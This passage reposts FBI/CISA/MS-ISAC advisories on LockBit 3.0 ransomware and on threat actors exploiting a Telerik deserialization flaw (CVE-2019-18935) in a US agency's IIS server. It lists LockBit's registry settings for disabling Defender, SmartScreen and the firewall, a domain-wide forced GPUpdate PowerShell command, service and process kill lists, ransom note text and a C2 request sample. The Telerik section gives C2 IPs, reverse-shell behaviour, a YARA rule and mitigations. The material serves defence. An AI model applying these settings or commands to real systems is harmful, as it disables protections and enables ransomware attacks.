name=”SQL Server Distributed Replay Client” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”SQL Server Distributed Replay Controller” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”MsDtsServer150″ image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”SSISTELEMETRY150″ image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”SSISScaleOutMaster150″ image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”SSISScaleOutWorker150″ image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”MSSQLLaunchpad” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”SQLWriter” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”SQLTELEMETRY” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”MSSQLSERVER” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

Registry.pol

The following registry configuration changes values for the Group Policy refresh time, disable SmartScreen, and disable Windows Defender.

Registry Key Registry Value Value type Data
HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem
GroupPolicyRefresh
TimeDC
REG_D
WORD
1
HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem
GroupPolicyRefresh
TimeOffsetDC
REG_D
WORD
1
HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem
GroupPolicyRefresh
Time
REG_D
WORD
1
HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem
GroupPolicyRefresh
TimeOffset
REG_D
WORD
1
HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem
EnableSmartScreen
REG_D
WORD
0
HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem
**del.ShellSmartSc
reenLevel
REG_S
Z
 
HKLMSOFTWAREPoliciesMicrosoftWindow
s Defender
DisableAntiSpyware
REG_D
WORD
1
HKLMSOFTWAREPoliciesMicrosoftWindow
s Defender
DisableRoutinelyTa
kingAction
REG_D
WORD
1
HKLMSOFTWAREPoliciesMicrosoftWindow
s DefenderReal-Time Protection
DisableRealtimeMon
itoring
REG_D
WORD
1
HKLMSOFTWAREPoliciesMicrosoftWindow
s DefenderReal-Time Protection
DisableBehaviorMon
itoring
REG_D
WORD
1
HKLMSOFTWAREPoliciesMicrosoftWindow
s DefenderSpynet
SubmitSamplesConse
nt
REG_D
WORD
2
HKLMSOFTWAREPoliciesMicrosoftWindow
s DefenderSpynet
SpynetReporting
REG_D
WORD
0
HKLMSOFTWAREPoliciesMicrosoftWindow
sFirewallDomainProfile
EnableFirewall
REG_D
WORD
0
HKLMSOFTWAREPoliciesMicrosoftWindow
sFirewallStandardProfile
EnableFirewall
REG_D
WORD
0
Force GPUpdate

Once new group policies are added, a PowerShell command using Group Policy update (GPUpdate) applies the new group policy changes to all computers on the AD domain.

Force GPUpdate Powershell Command
powershell Get-ADComputer -filter * -Searchbase ‘%s’ | Foreach-Object { Invoke- GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}
Services Killed
vss sql svc$
memtas mepocs msexchange
sophos veeam backup
GxVss GxBlr GxFWD
GxCVD GxCIMgr  
Processes Killed
sql oracle ocssd
dbsnmp synctime agntsvc
isqlplussvc xfssvccon mydesktopservice
ocautoupds encsvc firefox
tbirdconfig mydesktopqos ocomm
dbeng50 sqbcoreservice excel
infopath msaccess mspu
onenote outlook powerpnt
steam thebat thunderbird
visio winword wordpad
notepad    
LockBit 3.0 Ransom Note

~~~ LockBit 3.0 the world’s fastest and most stable ransomware from 2019~~~
>>>>> Your data is stolen and encrypted.
If you don’t pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that once your data appears on our leak site, it could be bought by your competitors at any second, so don’t hesitate for a long time. The sooner you pay the ransom, the sooner your company will be safe.

Network Connections

If configured, Lockbit 3.0 will send two HTTP POST requests to one of the C2servers. Information about the victim host and bot are encrypted with an Advanced Encryption Standard (AES) key and encoded in Base64.

Example of HTTP POST request
POST /?7F6Da=u5a0TdP0&Aojq=&NtN1W=OuoaovMvrVJSmPNaA5&fckp9=FCYyT6b7kdyeEXywS8I8 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br Content-Type: text/plain
User-Agent: Safari/537.36 
Host: 
Connection: Keep-Alive LIWy=RJ51lB5GM&a4OuN=&LoSyE3=8SZ1hdlhzld4&DHnd99T=rTx9xGlInO6X0zWW&2D6=Bokz&T1guL=MtRZsFCRMKyBmfmqI& 6SF3g=JPDt9lfJIQ&wQadZP= Xni=AboZOXwUw&2rQnM4=94L&0b=ZfKv7c&NO1d=M2kJlyus&AgbDTb=xwSpba&8sr=EndL4n0HVZjxPR& m4ZhTTH=sBVnPY&xZDiygN=cU1pAwKEztU&=5q55aFIAfTVQWTEm&4sXwVWcyhy=l68FrIdBESIvfCkvYl
Example of information found in encrypted data
{
"bot_version":"X",
"bot_id":"X",
"bot_company":"X", "host_hostname":"X", "host_user":"X",
"host_os":"X",
"host_domain":"X",
"host_arch":"X",
"host_lang":"X", "disks_info":[
{
"disk_name":"X",
"disk_size":"XXXX", "free_size":"XXXXX"
}
User Agent Strings
Mozilla/5.0 (Windows NT
6.1)
AppleWebKit/587.38
(KHTML, like Gecko)
Chrome/91.0.4472.77
Safari/537.36 Edge/91.0.864.37 Firefox/89.0
Gecko/20100101    

MITRE ATT&CK TECHNIQUES

See Table 3 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping to the MITRE ATT&CK framework, see CISA’s Decider Tool and Best Practices for MITRE ATT&CK Mapping Guide.

Table 3: LockBit 3.0 Actors ATT&CK Techniques for Enterprise
Initial Access    
Technique Title ID Use
Valid Accounts T1078 LockBit 3.0 actors obtain and abuse credentials of existing accounts as a means of gaining initial access.
Exploit External Remote Services T1133 LockBit 3.0 actors exploit RDP to gain access to victim networks.
Drive-by Compromise T1189 LockBit 3.0 actors gain access to a system through a user visiting a website over the normal course of browsing.
Exploit Public-Facing Application T1190 LockBit 3.0 actors exploit vulnerabilities in internet-facing systems to gain access to victims’ systems.
Phishing T1566 LockBit 3.0 actors use phishing and spearphishing to gain access to victims’ networks.
Execution    
Technique Title ID Use
Execution TA0002 LockBit 3.0 launches commands during its execution.
Software Deployment Tools T1072 LockBit 3.0 uses Chocolatey, a command- line package manager for Windows.
Persistence    
Technique Title ID Use
Valid Accounts T1078 LockBit 3.0 uses a compromised user account to maintain persistence on the target network.
Boot or Logo Autostart Execution T1547 LockBit 3.0 enables automatic logon for persistence.
Privilege Escalation    
Technique Title ID Use
Privilege Escalation TA0004 Lockbit 3.0 will attempt to escalate to the required privileges if current account privileges are insufficient.
Boot or Logo Autostart Execution T1547 LockBit 3.0 enables automatic logon for privilege escalation.
Defense Evasion    
Technique Title ID Use
Obfuscated Files or Information T1027 LockBit 3.0 will send encrypted host and bot information to its C2 servers.
Indicator Removal: File Deletion T1070.004 LockBit 3.0 will delete itself from the disk.
Execution Guardrails: Environmental Keying T1480.001 LockBit 3.0 will only decrypt the main component or continue to decrypt and/or decompress data if the correct password is entered.
Credential Access    
Technique Title ID Use
OS Credential Dumping: LSASS Memory T1003.001 LockBit 3.0 uses Microsoft Sysinternals ProDump to dump the contents of LSASS.exe.
Discovery    
Technique Title ID Use
Network Service Discovery T1046 LockBit 3.0 uses SoftPerfect Network Scanner to scan target networks.
System Information Discovery T1082 LockBit 3.0 will enumerate system information to include hostname, host configuration, domain information, local drive configuration, remote shares, and mounted external storage devices.
System Location   Discovery: System Language Discovery T1614.001 LockBit 3.0 will not infect machines with language settings that match a defined exclusion list.
Lateral Movement    
Technique Title ID Use
Remote Services:   Remote Desktop Protocol T1021.001 LockBit 3.0 uses Splashtop remote- desktop software to facilitate lateral movement.
Command and Control    
Technique Title ID Use
Application Layer Protocol: File Transfer Protocols T1071.002 LockBit 3.0 uses FileZilla for C2.
Protocol Tunnel T1572 LockBit 3.0 uses Plink to automate SSH actions on Windows.
Exfiltration    
Technique Title ID Use
Exfiltration TA0010 LockBit 3.0 uses Stealbit, a custom exfiltration tool first used with LockBit 2.0, to steal data from a target network.
Exfiltration Over Web Service T1567 LockBit 3.0 uses publicly available file sharing services to exfiltrate a target’s data.
Exfiltration Over Web Service: Exfiltration to Cloud Storage T1567.002 LockBit 3.0 actors use (1) rclone, an open source command line cloud storage manager to exfiltrate and (2) MEGA, a publicly available file sharing service for data exfiltration.
Impact    
Technique Title ID Use
Data Destruction T1485 LockBit 3.0 deletes log files and empties the recycle bin.
Data Encrypted for Impact T1486 LockBit 3.0 encrypts data on target systems to interrupt availability to system and network resources.
Service Stop T1489 LockBit 3.0 terminates processes and services.
Inhibit System Recovery T1490 LockBit 3.0 deletes volume shadow copies residing on disk.
Defacement: Internal Defacement T1491.001 LockBit 3.0 changes the host system’s wallpaper and icons to the LockBit 3.0 wallpaper and icons, respectively.

MITIGATIONS

The FBI, CISA, and the MS-ISAC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of LockBit 3.0’s activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers [CPG 7.3] in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud).
  • Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies [CPG 3.4].
    • Use longer passwords consisting of at least 8 characters and no more than 64 characters in length [CPG 1.4]
    • Store passwords in hashed format using industry-recognized password managers
    • Add password user “salts” to shared login credentials
    • Avoid reusing passwords
    • Implement multiple failed login attempt account lockouts [CPG 1.1]
    • Disable password “hints”
    • Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
    • Require administrator credentials to install software
  • Require phishing-resistant multifactor authentication [CPG 1.3] for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.
  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats.
  • Segment networks [CPG 8.1] to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement.
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network [CPG 5.1]. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
  • Install, regularly update, and enable real time detection for antivirus software on all hosts.
  • Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.
  • Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 1.5].
  • Disable unused ports.
  • Consider adding an email banner to emails [CPG 8.3] received from outside your organization.
  • Disable hyperlinks in received emails.
  • Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.
  • Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.
  • Maintain offline backups of data, and regularly maintain backup and restoration [CPG 7.3]. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 3.3].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the FBI, CISA, and the MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and the MS-ISAC authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 3).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and the MS-ISAC recommend continually testing your security program at scale and in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

REPORTING

The FBI is seeking any information that can be legally shared, including:

  • Boundary logs showing communication to and from foreign IP addresses
  • Sample ransom note
  • Communications with LockBit 3.0 actors
  • Bitcoin wallet information
  • Decryptor files
  • Benign sample of an encrypted file

The FBI, CISA, and MS-ISAC do not encourage paying ransom, as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office or CISA at report@cisa.gov. State, local, tribal, and territorial (SLTT) government entities can also report to the MS-ISAC (SOC@cisecurity.org or 866-787-4722).

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and the MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, or the MS-ISAC.

Threat Actors Exploit Progress Telerik Vulnerability in U.S. Government IIS Server

This post was originally published on this site

SUMMARY

From November 2022 through early January 2023, the Cybersecurity and Infrastructure Security Agency (CISA) and authoring organizations identified the presence of indicators of compromise (IOCs) at a federal civilian executive branch (FCEB) agency. Analysts determined that multiple cyber threat actors, including an APT actor, were able to exploit a .NET deserialization vulnerability (CVE-2019-18935) in Progress Telerik user interface (UI) for ASP.NET AJAX, located in the agency’s Microsoft Internet Information Services (IIS) web server. Successful exploitation of this vulnerability allows for remote code execution. According to Progress Software, Telerik UI for ASP.NET AJAX builds before R1 2020 (2020.1.114) are vulnerable to this exploit.[1]

Actions to take today to mitigate malicious cyber activity:

  • Implement a patch management solution to ensure compliance with the latest security patches.
  • Validate output from patch management and vulnerability scanning against running services to check for discrepancies and account for all services.
  • Limit service accounts to the minimum permissions necessary to run services.

CISA, the Federal Bureau of Investigation (FBI), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint Cybersecurity Advisory (CSA) to provide IT infrastructure defenders with tactics, techniques, and procedures (TTPs), IOCs, and methods to detect and protect against similar exploitation.

Download the PDF version of this report:

For a downloadable copy of IOCs, see

AA23-074A STIX XML
(XML, 30.96 KB
)

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques with corresponding detection and mitigation recommendations.

Overview

CISA and authoring organizations assess that, beginning as late as November 2022, threat actors successfully exploited a .NET deserialization vulnerability (CVE-2019-18935) in an instance of Telerik UI for ASP.NET AJAX Q2 2013 SP1 (version 2013.2.717) running on an FCEB agency’s Microsoft IIS server. This exploit, which results in interactive access with the web server, enabled the threat actors to successfully execute remote code on the vulnerable web server. Though the agency’s vulnerability scanner had the appropriate plugin for CVE-2019-18935, it failed to detect the vulnerability due to the Telerik UI software being installed in a file path it does not typically scan. This may be the case for many software installations, as file paths widely vary depending on the organization and installation method.

In addition to CVE-2019-18935, this version (2013.2.717) of Telerik UI for ASP.NET AJAX contains the following known vulnerabilities: CVE-2017-11357, CVE-2017-11317, and CVE-2017-9248. Analysis suggests that cyber threat actors exploited CVE-2019-18935 in conjunction with either CVE-2017-11357 or CVE-2017-11317. Australian Cyber Security Centre (ACSC) Advisory 2020-004 assesses that exploitation of CVE-2019-18935 is only possible with knowledge of Telerik RadAsyncUpload encryption keys.[2] Threat actors can obtain these keys through either prior knowledge or exploitation of vulnerabilities—CVE-2017-11357 or CVE-2017-11317—present in older, unpatched versions of Telerik released between 2007 and 2017. Forensic evidence is not available to definitively confirm exploitation of either CVE-2017-11357 or CVE-2017-11317.

Threat Actor Activity

CISA and authoring organizations observed multiple cyber threat actors, including an APT actor—hereafter referred to as Threat Actor 1 (TA1)—and known cybercriminal actor XE Group—hereafter referred to as Threat Actor 2 (TA2)—conducting reconnaissance and scanning activities [T1595.002] that correlate to the successful exploitation of CVE-2019-18935 in the agency’s IIS server running Telerik UI for ASP.NET AJAX [T1190].

When exploiting the vulnerability, the threat actors uploaded malicious dynamic-link library (DLL) files (some masqueraded as portable network graphics [PNG] files) [T1105] to the C:WindowsTemp directory. The malicious files were then executed from the C:WindowsTemp directory via the w3wp.exe process—a legitimate process that runs on IIS servers. This process is routine for handling requests sent to web servers and delivering content. The review of antivirus logs identified that some DLL files were created [T1055.001] and detected as early as August 2021.

CISA and authoring organizations confirmed that some malicious files dropped on the IIS server are consistent with a previously reported file naming convention that threat actors commonly use when exploiting CVE-2019-18935.[3] The threat actors name the files in the Unix Epoch time format and use the date and time as recorded on the target system. The file naming convention follows the pattern [10 digits].[7 digits].dll (e.g., a file created on October 31, 2022, could be 1667203023.5321205.dll).

The names of some of the PNG files were misleading. For example, file 1596835329.5015914.png, which decodes to August 7, 2020, 21:22:09 UTC, first appeared on October 13, 2022, but the file system shows a creation date of August 7, 2020. The uncorrelated Unix Epoch time format may indicate that the threat actors used the timestomping [T1070.006] technique. This file naming convention is a primary IOC used by the threat actors.

In many cases, malicious artifacts were not available for analysis because the threat actors’ malware—that looks for and removes files with the .dll file extension—removed files [T1070.004] from the C:WindowsTemp directory. Through full packet data capture analysis and reverse engineering of malicious DLL files, no indications of additional malicious activity or sub-processes were found executed by the w3wp.exe process. CISA observed error messages being sent to the threat actors’ command and control (C2) server when permission restraints prevented the service account from executing the malicious DLLs and writing new files.

Network activity analysis was consistent with the artifacts provided for review. Analysts did not observe evidence of privilege escalation or lateral movement.

Threat Actor 1

CISA and authoring organizations observed TA1 exploiting CVE-2019-18935 for system enumeration beginning in August 2022. The vulnerability allows a threat actor to upload malicious DLLs on a target system and execute them by abusing a legitimate process, e.g., the w3wp.exe process. In this instance, TA1 was able to upload malicious DLL files to the C:WindowsTemp directory and then achieve remote code execution, executing the DLL files via the w3wp.exe process.

At least nine DLL files used for discovery [TA0007], C2 [TA0011], and defense evasion [TA0005]. All of the analyzed samples have network parameters, including host name, domain name, Domain Name System (DNS) server Internet Protocol (IP) address and machine name, Network Basic Input/Output System (NetBIOS) ID, adapter information, IP address, subnet, gateway IP, and Dynamic Host Configuration Protocol (DHCP) server [T1016]. All analyzed samples communicate this collected data to a C2 server at IP address 137.184.130[.]162 or 45.77.212[.]12. The C2 traffic to these IP addresses uses a non-application layer protocol [T1095] by leveraging Transmission Control Protocol (TCP) clear text (i.e., unencrypted) over port 443. Analysis also identified that:

  • Some of the analyzed samples can load additional libraries; enumerate the system, processes, files, directories [T1083]; and write files.
  • Other analyzed samples can delete DLL files ending with the .dll extension in the C:WindowsTemp directory on the server. TA1 may use this capability to hide additional malicious activity on the network.

CISA, in coordination with the authoring organizations, identified and observed the following threat actor IPs and timestamps associated with this activity:

Table 1: Observed TA1 IPs and Timestamps

IP Address

First Identified

Last Identified

137.184.130[.]162

09/26/2022

10/08/2022

45.77.212[.]12

10/07/2022

11/25/2022

104.225.129[.]102

10/10/2022

11/16/2022

149.28.85[.]24

10/12/2022

10/17/2022

185.186.245[.]72

10/18/2022

10/18/2022

193.8.172[.]113

09/25/2022

09/25/2022

193.8.172[.]13

09/25/2022

10/17/2022

216.120.201[.]12

10/13/2022

11/10/2022

5.34.178[.]246

09/25/2022

09/25/2022

79.133.124[.]242

09/25/2022

09/25/2022

92.38.169[.]193

09/27/2022

10/08/2022

92.38.176[.]109

09/12/2022

09/25/2022

92.38.176[.]130

09/25/2022

10/07/2022

Threat Actor 2

TA2—identified as likely the cybercriminal actor XE Group—often includes xe[word] nomenclature in original filenames and registered domains. Volexity lists this naming convention and other observed TTPs as common for this threat actor group.[4]

As early as August 2021, CISA and authoring organizations observed TA2 delivering malicious PNG files that, following analysis, were masqueraded DLL files to avoid detection [T1036.005]. Similar to TA1, TA2 exploited CVE-2019-18935 and was able to upload at least three unique DLL files into the C:WindowsTemp directory that TA2 executed via the w3wp.exe process. These DLL files drop and execute reverse (remote) shell utilities for unencrypted communication with C2 IP addresses associated with the malicious domains listed in Table 2. Note: At the time of analysis, the domains resolved to the listed IP addresses.

Table 2: TA2 IPs and Resolving Domains

IP Address

Resolving Domains

184.168.104[.]171

xework[.]com

xegroups[.]com

hivnd[.]com

144.96.103[.]245

xework[.]com

Analysis of DLL files determined the files listed in Table 3 were dropped, decoded, and attempted to connect to the respective malicious domains. Embedded payloads dropped by the DLL files were observed using the command line utility certutil[.]exe and writing new files as xesvrs[.]exe to invoke reverse shell utilities execution.

Table 3: Identified Malicious Files

Filename

Description

XEReverseShell.exe

DLL files (masqueraded as PNG files) located in the C:WindowsTemp directory contain a base64 encoded file with the internal name XEReverseShell.exe, which was dropped into the same directory as sortcombat.exe.

When executed, the reverse shell utility attempts to connect to xework[.]com or xegroups[.]com to obtain the IP address of the C2 server and port number for unencrypted communication.

Note: It is likely the threat actors changed the file extension from .dll to .png to avoid detection.

Multi-OS_ReverseShell.exe

Reverse shell utility decoded from the base64 encoded file xesmartshell.tmp.

When executed, it will attempt to connect to xegroups[.]com or xework[.]com to obtain the IP address of the C2 server and port number for unencrypted communication.

SortVistaCompat

Base64 encoded payload dropped from Multi-OS_ReverseShell.exe. This file receives the C2 IP and port from xework[.]com.

 When the TA2 malware is executed a DLL file drops an executable (XEReverseShell.exe) that attempts to pull a C2 IP address and port number from xework[.]com or xegroups[.]com.

  • If no port or IP address is found, the program will exit.
  • If a port and IP address are found, the program will establish a listener and wait for further commands.

If communication is established between the TA2 malware and the C2:

  • The malware will identify the operating system (Windows or Linux) and create the appropriate shell (cmd or bash), sending system information back to the C2.
  • The C2 server may send the command xesetshell, causing the malware to connect to the server and download a file called small.txt—a base64-encoded webshell that the malware decodes and places in the C:WindowsTemp directory.
  • The C2 server may send the command xequit, causing the malware to sleep for a period of time determined by the threat actors.

The two files xesmartshell.tmp and SortVistaCompat have the capability to drop an Active Server Pages (ASPX) webshell—a base64 encoded text file small.txt decoded [T1140] as small.aspx [T1505.003]—to enumerate drives; to send, receive, and delete files; and to execute incoming commands. The webshell contains an interface for easily browsing files, directories, or drives on the system, and allows the user to upload or download files to any directory. No webshells were observed to be dropped on the target system, likely due to the abused service account having restrictive write permissions.

For more information on the DLLs, binaries, and webshell, see CISA MAR-10413062-1.v1 Telerik Vulnerability in U.S. Government IIS Server.

MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 4 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping to the MITRE ATT&CK framework, see CISA’s Decider Tool and Best Practices for MITRE ATT&CK Mapping Guide.

Table 4: Identified ATT&CK Techniques for Enterprise

Reconnaissance

   

Technique Title

ID

Use

Active Scanning: Vulnerability Scanning

T1595.002

Actors were observed conducting active scanning activity for vulnerable devices and specific ports.

Initial Access

   

Technique Title

ID

Use

Exploit Public-Facing Application

T1190

Actors exploited a known vulnerability in the Microsoft IIS server.

Persistence

   

Technique Title

ID

Use

Server Software Component: Web Shell

T1505.003

TA2’s malware dropped an ASPX webshell to enumerate drives; send, receive, and delete files; and execute commands.

Defense Evasion

   

Technique Title

ID

Use

Masquerading: Match Legitimate Name or Location

T1036.005

Actors leveraged the legitimate w3wp.exe process on the IIS server to write malicious DLL files and evade detection.

Process Injection: DLL Injection

T1055.001

Actors loaded newly created DLLs into a running w3wp.exe process.

Indicator Removal: File Deletion

T1070.004

TA1’s malware deleted files with “.dll” from the C:WindowsTemp directory, which may indicate hidden malicious activity on the network.

Indicator Removal: Timestomp

T1070.006

Actors modified file time attributes to insert misleading creation dates.

Decode Files

T1140

The base64 encoded text file small.txt decoded as the webshell small.aspx.

Discovery

   

Technique Title

ID

Use

File and Directory Discovery

T1083

Actors enumerated the IIS server via OS fingerprinting, executed Windows processes, and collected network information.

TA1’s malware enumerates systems, processes, files, and directories.

System Network Configuration Discovery

T1016

TA1’s malware gathers network parameters, including host name, domain name, DNS servers, NetBIOS ID, adapter information, IP address, subnet, gateway IP, and DHCP server.

Command and Control

   

Technique Title

ID

Use

Ingress Tool Transfer

T1105

TA1 and TA2 uploaded malicious DLL files (some masqueraded as PNG files) to the C:WindowsTemp directory.

Non-Application Layer Protocol

T1095

Actors used a non-application layer protocol (TCP) for w3wp.exe process exploitation, C2, and enumeration on the IIS server.

DETECTION METHODS

CISA and authoring organizations recommend that organizations review the steps listed in this section and Table 4: Identified ATT&CK Techniques for Enterprise to detect similar activity on IIS servers.

Yara Rule

CISA developed the following YARA rule from the base proof-of-concept code for CVE-2019-18935.[5] Note: Authoring organizations do not guarantee all malicious DLL files (if identified) will use the same code provided in this YARA rule.

rule CISA_10424018_01 {
meta:
        Author = "CISA Code & Media Analysis"
        Incident = "10424018"
        Date = "2023-02-07"
        Last_Modified = "20230216_1500"
        Actor = "n/a"
        Family = "n/a"
        Capabilities = "n/a"
        Malware_Type = "n/a"
        Tool_Type = "n/a"
        Description = "Detects open-source exploit samples"
        SHA256 = "n/a"
    strings:
        $s0 = { 3D 20 7B 20 22 63 6D 22 2C 20 22 64 2E 65 22 2C }
        $s1 = { 20 22 78 22 2C 20 22 65 22 20 7D 3B }
        $s2 = { 52 65 76 65 72 73 65 53 68 65 6C 6C 28 29 }
        $s3 = { 54 65 6C 65 72 69 6B 20 55 49 }
        $s4 = { 66 69 6C 65 6E 61 6D 65 5F 6C 6F 63 61 6C }
        $s5 = { 66 69 6C 65 6E 61 6D 65 5F 72 65 6D 6F 74 65 }
        $s6 = { 41 55 43 69 70 68 65 72 2E 65 6E 63 72 79 70 74 }
        $s7 = { 31 32 31 66 61 65 37 38 31 36 35 62 61 33 64 34 }
$s8 = { 43 6F 6E 6E 65 63 74 53 74 61 67 69 6E 67 53 65 72 76 65 72 28 29 }
        $s9 = { 53 74 61 67 69 6E 67 53 65 72 76 65 72 53 6F 63 6B 65 74 }
        $s10 = { 2A 62 75 66 66 65 72 20 3D 20 28 75 6E 73 69 67 6E 65 }
$s11 = { 28 2A 29 28 29 29 62 75 66 66 65 72 3B 0A 20 20 20 20 66 75 6E 63 28 29 3B }
$s12 = { 75 70 6C 6F 61 64 28 70 61 79 6C 6F 61 64 28 54 65 6D 70 54 61 72 67 65 74 }
        $s13 = { 36 32 36 31 36 66 33 37 37 35 36 66 32 66 }
    condition:
($s0 and $s1 and $s2) or ($s3 and $s4 and $s5 and $s6 and $s7) or ($s8 and $s9 and $s10 and $s11) or ($s12 and $s13)
}

Log Collection, Retention, and Analysis

CISA, FBI, and MS-ISAC recommend that organizations utilize a centralized log collection and monitoring capability, as well as implement or increase logging and forensic data retention. Longer retention policies improve the availability of data for forensic analysis and aid thorough identification of incident scope.

  • Centralized log collection and monitoring allows for the discovery of webshell and other exploit activity. For example, organizations should monitor for external connections made from the IIS server to unknown external IP addresses. Logging may also be available—if enabled at the router or firewall—for any outbound connections initiated with PowerShell.
  • Access- and security-focused firewall (e.g., Web Application Firewall [WAF]) logs can be collected and stored for use in both detection and forensic analysis activities. Organizations should use a WAF to guard against publicly known web application vulnerabilities, in addition to guarding against common web application attacks.
Creation of Malicious DLLs

CISA, FBI, and MS-ISAC recommend that organizations use process monitoring—which provides visibility into file system and application process activity—to detect suspicious executable files running from the C:WindowsTemp directory. Process monitoring via Windows Event Code 4688 will detect the legitimate w3wp.exe process running suspicious DLL files and other anomalous child processes. Note: Enabling this event may inundate security event logging. Use centralized log collection to prevent log rollover, increase log retention and archiving, and/or enable command line event logging.

Forensic analysis commonly identified the threat actors taking the following steps:

  1. Create one of the DLL files (C:WindowsTemp1665890187.8690152.dll) by process w3wp.exe PID 6484.
  2. Load the newly created DLL into a currently running IIS process, w3wp.exe PID 6484. 
  3. Make a TCP connection using w3wp.exe PID 6484 to 45.77.212[.]12 over port 443.
  4. Invoke C:WindowsSystem32vcruntime140.dll (Windows C runtime library) to execute payload.

Steps 1 and 2 occur every time a malicious DLL file is created. In some cases, an ASP .NET temp file was created, but this may have indicated benign IIS server activity. Note: The Process ID (PID) used in this example is unique to this investigation and is not universal. IP address 45.77.212[.]12 correlates to TA1, but the pattern can be used as general practice to identify similar activity.

Additional Searching for IIS Servers

The following information was derived from artifact analysis and is provided to equip IT infrastructure defenders searching for similar activity on an IIS server. Several artifacts can be referenced to assist in determining if CVE-2019-18935 has been successfully exploited.

File Type: DLL
Location: – %SystemDrive%WindowsTemp

When this CVE is exploited, it uploads malicious DLL files to the C:WindowsTemp directory. The malicious DLL file naming convention translates to the exact time the file was uploaded to the server.

